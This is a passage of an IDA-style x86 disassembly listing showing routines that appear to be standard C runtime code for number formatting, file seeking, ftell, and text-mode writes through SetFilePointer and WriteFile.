		add	ecx, [ebp+var_8]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_C]
		mov	byte ptr [edx],	30h
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_C]
		mov	byte ptr [ecx],	0


loc_426173:				; CODE XREF: sub_426120+18j
					; sub_426120+33j
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax], 2Dh
		jnz	short loc_426190
		mov	ecx, [ebp+var_4]
		mov	byte ptr [ecx],	2Dh
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_426190:				; CODE XREF: sub_426120+5Fj
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+4], 0
		jg	short loc_4261B8
		push	1
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_4263B0
		add	esp, 8
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx],	30h
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		jmp	short loc_4261C4
; ---------------------------------------------------------------------------


loc_4261B8:				; CODE XREF: sub_426120+77j
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+var_4]
		add	edx, [ecx+4]
		mov	[ebp+var_4], edx


loc_4261C4:				; CODE XREF: sub_426120+96j
		cmp	[ebp+arg_4], 0
		jle	loc_426256
		push	1
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_4263B0
		add	esp, 8
		mov	ecx, [ebp+var_4]
		mov	dl, byte_447484
		mov	[ecx], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_8]
		cmp	dword ptr [ecx+4], 0
		jge	short loc_426256
		movsx	edx, [ebp+arg_C]
		test	edx, edx
		jz	short loc_42620E
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+4]
		neg	ecx
		mov	[ebp+arg_4], ecx
		jmp	short loc_426234
; ---------------------------------------------------------------------------


loc_42620E:				; CODE XREF: sub_426120+DFj
		mov	edx, [ebp+arg_8]
		mov	eax, [edx+4]
		neg	eax
		cmp	[ebp+arg_4], eax
		jge	short loc_426223
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_10], ecx
		jmp	short loc_42622E
; ---------------------------------------------------------------------------


loc_426223:				; CODE XREF: sub_426120+F9j
		mov	edx, [ebp+arg_8]
		mov	eax, [edx+4]
		neg	eax
		mov	[ebp+var_10], eax


loc_42622E:				; CODE XREF: sub_426120+101j
		mov	ecx, [ebp+var_10]
		mov	[ebp+arg_4], ecx


loc_426234:				; CODE XREF: sub_426120+ECj
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_4263B0
		add	esp, 8
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	30h
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_417700
		add	esp, 0Ch


loc_426256:				; CODE XREF: sub_426120+A8j
					; sub_426120+D7j
		mov	eax, [ebp+arg_0]
		mov	esp, ebp
		pop	ebp
		retn
sub_426120	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426260	proc near		; CODE XREF: sub_426350+55p

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= byte ptr -2Ch
var_14		= byte ptr -14h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		mov	[ebp+var_30], 0
		lea	eax, [ebp+var_14]
		mov	[ebp+var_38], eax
		lea	ecx, [ebp+var_2C]
		push	ecx
		lea	edx, [ebp+var_14]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		push	ecx
		mov	edx, [eax]
		push	edx
		call	sub_42BB70
		add	esp, 10h
		mov	eax, [ebp+var_38]
		mov	ecx, [eax+4]
		sub	ecx, 1
		mov	[ebp+var_34], ecx
		mov	edx, [ebp+var_38]
		xor	eax, eax
		cmp	dword ptr [edx], 2Dh
		setz	al
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_38]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_42BA70
		add	esp, 0Ch
		mov	edx, [ebp+var_38]
		mov	eax, [edx+4]
		sub	eax, 1
		xor	ecx, ecx
		cmp	[ebp+var_34], eax
		setl	cl
		mov	[ebp+var_30], cl
		mov	edx, [ebp+var_38]
		mov	eax, [edx+4]
		sub	eax, 1
		mov	[ebp+var_34], eax
		cmp	[ebp+var_34], 0FFFFFFFCh
		jl	short loc_4262EB
		mov	ecx, [ebp+var_34]
		cmp	ecx, [ebp+arg_8]
		jl	short loc_426307


loc_4262EB:				; CODE XREF: sub_426260+81j
		push	1
		mov	edx, [ebp+var_38]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		call	sub_425F40
		add	esp, 14h
		jmp	short loc_426341
; ---------------------------------------------------------------------------


loc_426307:				; CODE XREF: sub_426260+89j
		movsx	eax, [ebp+var_30]
		test	eax, eax
		jz	short loc_42632B


loc_42630F:				; CODE XREF: sub_426260+C2j
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		test	edx, edx
		jz	short loc_426324
		jmp	short loc_42630F
; ---------------------------------------------------------------------------


loc_426324:				; CODE XREF: sub_426260+C0j
		mov	ecx, [ebp+var_4]
		mov	byte ptr [ecx-2], 0


loc_42632B:				; CODE XREF: sub_426260+ADj
		push	1
		mov	edx, [ebp+var_38]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_426120
		add	esp, 10h


loc_426341:				; CODE XREF: sub_426260+A5j
		mov	esp, ebp
		pop	ebp
		retn
sub_426260	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426350	proc near		; CODE XREF: sub_4209A0+6ADp
					; DATA XREF: sub_4198B0+3o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_42635F
		cmp	[ebp+arg_8], 45h
		jnz	short loc_426379


loc_42635F:				; CODE XREF: sub_426350+7j
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_425EC0
		add	esp, 10h
		jmp	short loc_4263AD
; ---------------------------------------------------------------------------


loc_426379:				; CODE XREF: sub_426350+Dj
		cmp	[ebp+arg_8], 66h
		jnz	short loc_426395
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4260B0
		add	esp, 0Ch
		jmp	short loc_4263AD
; ---------------------------------------------------------------------------


loc_426395:				; CODE XREF: sub_426350+2Dj
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_426260
		add	esp, 10h


loc_4263AD:				; CODE XREF: sub_426350+27j
					; sub_426350+43j
		pop	ebp
		retn
sub_426350	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4263B0	proc near		; CODE XREF: sub_425F40+2Fp
					; sub_426120+7Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		jz	short loc_4263DC
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_414EC0
		add	esp, 4
		add	eax, 1
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+arg_4]
		push	edx
		call	sub_419A90
		add	esp, 0Ch


loc_4263DC:				; CODE XREF: sub_4263B0+7j
		pop	ebp
		retn
sub_4263B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4263E0	proc near		; CODE XREF: sub_41A040+10Ep
					; sub_420720+216p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DE420
		jnb	short loc_426411
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4DE320[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_42642C


loc_426411:				; CODE XREF: sub_4263E0+Dj
		call	sub_4224D0
		mov	dword ptr [eax], 9
		call	sub_4224E0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	short loc_42645E
; ---------------------------------------------------------------------------


loc_42642C:				; CODE XREF: sub_4263E0+2Fj
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4299C0
		add	esp, 4
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_426470
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_429A50
		add	esp, 4
		mov	eax, [ebp+var_4]


loc_42645E:				; CODE XREF: sub_4263E0+4Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_4263E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426470	proc near		; CODE XREF: sub_41FD80+40Dp
					; sub_4263E0+64p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_429840
		add	esp, 4
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	short loc_42649E
		call	sub_4224D0
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	loc_42651E
; ---------------------------------------------------------------------------


loc_42649E:				; CODE XREF: sub_426470+19j
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	0
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+var_C]
		push	eax
		call	dword_4E03F0	; SetFilePointer
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0FFFFFFFFh
		jnz	short loc_4264C6
		call	dword_4E0350	; RtlGetLastWin32Error
		mov	[ebp+var_4], eax
		jmp	short loc_4264CD
; ---------------------------------------------------------------------------


loc_4264C6:				; CODE XREF: sub_426470+49j
		mov	[ebp+var_4], 0


loc_4264CD:				; CODE XREF: sub_426470+54j
		cmp	[ebp+var_4], 0
		jz	short loc_4264E4
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_422430
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	short loc_42651E
; ---------------------------------------------------------------------------


loc_4264E4:				; CODE XREF: sub_426470+61j
		mov	edx, [ebp+arg_0]
		sar	edx, 5
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		imul	eax, 24h
		mov	ecx, dword_4DE320[edx*4]
		mov	dl, [ecx+eax+4]
		and	dl, 0FDh
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	eax, dword_4DE320[eax*4]
		mov	[eax+ecx+4], dl
		mov	eax, [ebp+var_8]


loc_42651E:				; CODE XREF: sub_426470+29j
					; sub_426470+72j
		mov	esp, ebp
		pop	ebp
		retn
sub_426470	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi


loc_426537:				; CODE XREF: .data:0042655Fj
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_42655B
		push	offset dword_43449C
		push	0
		push	32h
		push	offset aFtell_c	; "ftell.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_42655B
		int	3		; Trap to Debugger


loc_42655B:				; CODE XREF: .data:0042653Bj
					; .data:00426558j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_426537
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_41AE20
		add	esp, 4
		mov	edx, [ebp+8]
		push	edx
		call	sub_4265A0
		add	esp, 4
		mov	[ebp-4], eax
		mov	eax, [ebp+8]
		push	eax
		call	sub_41AE90
		add	esp, 4
		mov	eax, [ebp-4]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4265A0	proc near		; CODE XREF: sub_41A040+87p
					; .data:00426571p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi


loc_4265A9:				; CODE XREF: sub_4265A0+31j
		cmp	[ebp+arg_0], 0
		jnz	short loc_4265CD
		push	offset dword_4344AC
		push	0
		push	63h
		push	offset aFtell_c	; "ftell.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_4265CD
		int	3		; Trap to Debugger


loc_4265CD:				; CODE XREF: sub_4265A0+Dj
					; sub_4265A0+2Aj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_4265A9
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_C]
		mov	eax, [edx+10h]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_C]
		cmp	dword ptr [ecx+4], 0
		jge	short loc_4265F5
		mov	edx, [ebp+var_C]
		mov	dword ptr [edx+4], 0


loc_4265F5:				; CODE XREF: sub_4265A0+49j
		push	1
		push	0
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_4263E0
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jge	short loc_426616
		or	eax, 0FFFFFFFFh
		jmp	loc_426833
; ---------------------------------------------------------------------------


loc_426616:				; CODE XREF: sub_4265A0+6Cj
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+0Ch]
		and	edx, 108h
		test	edx, edx
		jnz	short loc_426636
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_1C]
		sub	ecx, [eax+4]
		mov	eax, ecx
		jmp	loc_426833
; ---------------------------------------------------------------------------


loc_426636:				; CODE XREF: sub_4265A0+84j
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_C]
		mov	ecx, [edx]
		sub	ecx, [eax+8]
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+var_C]
		mov	eax, [edx+0Ch]
		and	eax, 3
		test	eax, eax
		jz	short loc_4266AC
		mov	ecx, [ebp+var_8]
		sar	ecx, 5
		mov	edx, [ebp+var_8]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4DE320[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 80h
		test	ecx, ecx
		jz	short loc_4266AA
		mov	edx, [ebp+var_C]
		mov	eax, [edx+8]
		mov	[ebp+var_4], eax
		jmp	short loc_42668A
; ---------------------------------------------------------------------------


loc_426681:				; CODE XREF: sub_4265A0:loc_4266A8j
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_42668A:				; CODE XREF: sub_4265A0+DFj
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_4]
		cmp	eax, [edx]
		jnb	short loc_4266AA
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 0Ah
		jnz	short loc_4266A8
		mov	eax, [ebp+var_18]
		add	eax, 1
		mov	[ebp+var_18], eax


loc_4266A8:				; CODE XREF: sub_4265A0+FDj
		jmp	short loc_426681
; ---------------------------------------------------------------------------


loc_4266AA:				; CODE XREF: sub_4265A0+D4j
					; sub_4265A0+F2j
		jmp	short loc_4266CF
; ---------------------------------------------------------------------------


loc_4266AC:				; CODE XREF: sub_4265A0+AFj
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+0Ch]
		and	edx, 80h
		test	edx, edx
		jnz	short loc_4266CF
		call	sub_4224D0
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		jmp	loc_426833
; ---------------------------------------------------------------------------


loc_4266CF:				; CODE XREF: sub_4265A0:loc_4266AAj
					; sub_4265A0+11Aj
		cmp	[ebp+var_1C], 0
		jnz	short loc_4266DD
		mov	eax, [ebp+var_18]
		jmp	loc_426833
; ---------------------------------------------------------------------------


loc_4266DD:				; CODE XREF: sub_4265A0+133j
		mov	eax, [ebp+var_C]
		mov	ecx, [eax+0Ch]
		and	ecx, 1
		test	ecx, ecx
		jz	loc_42682D
		mov	edx, [ebp+var_C]
		cmp	dword ptr [edx+4], 0
		jnz	short loc_426703
		mov	[ebp+var_18], 0
		jmp	loc_42682D
; ---------------------------------------------------------------------------


loc_426703:				; CODE XREF: sub_4265A0+155j
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_C]
		mov	edx, [eax]
		sub	edx, [ecx+8]
		mov	eax, [ebp+var_C]
		mov	ecx, [eax+4]
		add	ecx, edx
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_8]
		sar	edx, 5
		mov	eax, [ebp+var_8]
		and	eax, 1Fh
		imul	eax, 24h
		mov	ecx, dword_4DE320[edx*4]
		movsx	edx, byte ptr [ecx+eax+4]
		and	edx, 80h
		test	edx, edx
		jz	loc_426824
		push	2
		push	0
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_4263E0
		add	esp, 0Ch
		cmp	eax, [ebp+var_1C]
		jnz	short loc_4267B0
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+8]
		add	edx, [ebp+var_10]
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_C]
		mov	ecx, [eax+8]
		mov	[ebp+var_4], ecx
		jmp	short loc_426777
; ---------------------------------------------------------------------------


loc_42676E:				; CODE XREF: sub_4265A0:loc_426793j
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_426777:				; CODE XREF: sub_4265A0+1CCj
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_14]
		jnb	short loc_426795
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 0Ah
		jnz	short loc_426793
		mov	eax, [ebp+var_10]
		add	eax, 1
		mov	[ebp+var_10], eax


loc_426793:				; CODE XREF: sub_4265A0+1E8j
		jmp	short loc_42676E
; ---------------------------------------------------------------------------


loc_426795:				; CODE XREF: sub_4265A0+1DDj
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+0Ch]
		and	edx, 2000h
		test	edx, edx
		jz	short loc_4267AE
		mov	eax, [ebp+var_10]
		add	eax, 1
		mov	[ebp+var_10], eax


loc_4267AE:				; CODE XREF: sub_4265A0+203j
		jmp	short loc_426824
; ---------------------------------------------------------------------------


loc_4267B0:				; CODE XREF: sub_4265A0+1B5j
		push	0
		mov	ecx, [ebp+var_1C]
		push	ecx
		mov	edx, [ebp+var_8]
		push	edx
		call	sub_4263E0
		add	esp, 0Ch
		cmp	[ebp+var_10], 200h
		ja	short loc_4267F0
		mov	eax, [ebp+var_C]
		mov	ecx, [eax+0Ch]
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_4267F0
		mov	edx, [ebp+var_C]
		mov	eax, [edx+0Ch]
		and	eax, 400h
		test	eax, eax
		jnz	short loc_4267F0
		mov	[ebp+var_10], 200h
		jmp	short loc_4267F9
; ---------------------------------------------------------------------------


loc_4267F0:				; CODE XREF: sub_4265A0+229j
					; sub_4265A0+236j ...
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+18h]
		mov	[ebp+var_10], edx


loc_4267F9:				; CODE XREF: sub_4265A0+24Ej
		mov	eax, [ebp+var_8]
		sar	eax, 5
		mov	ecx, [ebp+var_8]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4DE320[eax*4]
		movsx	eax, byte ptr [edx+ecx+4]
		and	eax, 4
		test	eax, eax
		jz	short loc_426824
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		mov	[ebp+var_10], ecx


loc_426824:				; CODE XREF: sub_4265A0+19Cj
					; sub_4265A0:loc_4267AEj ...
		mov	edx, [ebp+var_1C]
		sub	edx, [ebp+var_10]
		mov	[ebp+var_1C], edx


loc_42682D:				; CODE XREF: sub_4265A0+148j
					; sub_4265A0+15Ej
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_18]


loc_426833:				; CODE XREF: sub_4265A0+71j
					; sub_4265A0+91j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4265A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426840	proc near		; CODE XREF: sub_41A1B0+147p
					; sub_41B920+57p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DE420
		jnb	short loc_426871
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4DE320[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_42688C


loc_426871:				; CODE XREF: sub_426840+Dj
		call	sub_4224D0
		mov	dword ptr [eax], 9
		call	sub_4224E0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	short loc_4268BE
; ---------------------------------------------------------------------------


loc_42688C:				; CODE XREF: sub_426840+2Fj
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4299C0
		add	esp, 4
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4268D0
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_429A50
		add	esp, 4
		mov	eax, [ebp+var_4]


loc_4268BE:				; CODE XREF: sub_426840+4Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_426840	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4268D0	proc near		; CODE XREF: sub_426840+64p
					; sub_42E2C0+145p

var_420		= dword	ptr -420h
var_41C		= byte ptr -41Ch
var_418		= dword	ptr -418h
var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		mov	[ebp+var_10], 0
		mov	eax, [ebp+var_10]
		mov	[ebp+var_420], eax
		cmp	[ebp+arg_8], 0
		jnz	short loc_4268F6
		xor	eax, eax
		jmp	loc_426B3F
; ---------------------------------------------------------------------------


loc_4268F6:				; CODE XREF: sub_4268D0+1Dj
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4DE320[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 20h
		test	ecx, ecx
		jz	short loc_426928
		push	2
		push	0
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_426470
		add	esp, 0Ch


loc_426928:				; CODE XREF: sub_4268D0+46j
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4DE320[eax*4]
		movsx	eax, byte ptr [edx+ecx+4]
		and	eax, 80h
		test	eax, eax
		jz	loc_426A5C
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	[ebp+var_C], 0


loc_42695D:				; CODE XREF: sub_4268D0:loc_426A55j
		mov	edx, [ebp+var_4]
		sub	edx, [ebp+arg_4]
		cmp	edx, [ebp+arg_8]
		jnb	loc_426A5A
		lea	eax, [ebp+var_414]
		mov	[ebp+var_8], eax


loc_426975:				; CODE XREF: sub_4268D0+115j
		mov	ecx, [ebp+var_8]
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jge	short loc_4269E7
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jnb	short loc_4269E7
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	[ebp+var_41C], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		movsx	ecx, [ebp+var_41C]
		cmp	ecx, 0Ah
		jnz	short loc_4269D1
		mov	edx, [ebp+var_420]
		add	edx, 1
		mov	[ebp+var_420], edx
		mov	eax, [ebp+var_8]
		mov	byte ptr [eax],	0Dh
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx


loc_4269D1:				; CODE XREF: sub_4268D0+E1j
		mov	edx, [ebp+var_8]
		mov	al, [ebp+var_41C]
		mov	[edx], al
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx
		jmp	short loc_426975
; ---------------------------------------------------------------------------


loc_4269E7:				; CODE XREF: sub_4268D0+B6j
					; sub_4268D0+C1j
		push	0
		lea	edx, [ebp+var_418]
		push	edx
		mov	eax, [ebp+var_8]
		lea	ecx, [ebp+var_414]
		sub	eax, ecx
		push	eax
		lea	edx, [ebp+var_414]
		push	edx
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4DE320[eax*4]
		mov	eax, [edx+ecx]
		push	eax
		call	dword_4E03B4	; WriteFile
		test	eax, eax
		jz	short loc_426A4A
		mov	ecx, [ebp+var_10]
		add	ecx, [ebp+var_418]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_8]
		lea	eax, [ebp+var_414]
		sub	edx, eax
		cmp	[ebp+var_418], edx
		jge	short loc_426A48
		jmp	short loc_426A5A
; ---------------------------------------------------------------------------


loc_426A48:				; CODE XREF: sub_4268D0+174j
		jmp	short loc_426A55
; ---------------------------------------------------------------------------


loc_426A4A:				; CODE XREF: sub_4268D0+155j
		call	dword_4E0350	; RtlGetLastWin32Error
		mov	[ebp+var_C], eax
		jmp	short loc_426A5A
; ---------------------------------------------------------------------------


loc_426A55:				; CODE XREF: sub_4268D0:loc_426A48j
		jmp	loc_42695D
; ---------------------------------------------------------------------------


loc_426A5A:				; CODE XREF: sub_4268D0+96j
					; sub_4268D0+176j ...
		jmp	short loc_426AAC
; ---------------------------------------------------------------------------


loc_426A5C:				; CODE XREF: sub_4268D0+7Aj
		push	0
		lea	ecx, [ebp+var_418]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4DE320[ecx*4]
		mov	ecx, [eax+edx]
		push	ecx
		call	dword_4E03B4	; WriteFile
		test	eax, eax
		jz	short loc_426AA3
		mov	[ebp+var_C], 0
		mov	edx, [ebp+var_418]
		mov	[ebp+var_10], edx
		jmp	short loc_426AAC
; ---------------------------------------------------------------------------


loc_426AA3:				; CODE XREF: sub_4268D0+1BFj
		call	dword_4E0350	; RtlGetLastWin32Error
		mov	[ebp+var_C], eax


loc_426AAC:				; CODE XREF: sub_4268D0:loc_426A5Aj
					; sub_4268D0+1D1j
		cmp	[ebp+var_10], 0
		jnz	loc_426B36
		cmp	[ebp+var_C], 0
		jz	short loc_426AEA
		cmp	[ebp+var_C], 5
		jnz	short loc_426AD9
		call	sub_4224D0
		mov	dword ptr [eax], 9
		call	sub_4224E0
		mov	ecx, [ebp+var_C]
		mov	[eax], ecx
		jmp	short loc_426AE5
; ---------------------------------------------------------------------------


loc_426AD9:				; CODE XREF: sub_4268D0+1F0j
		mov	edx, [ebp+var_C]
		push	edx
		call	sub_422430
		add	esp, 4


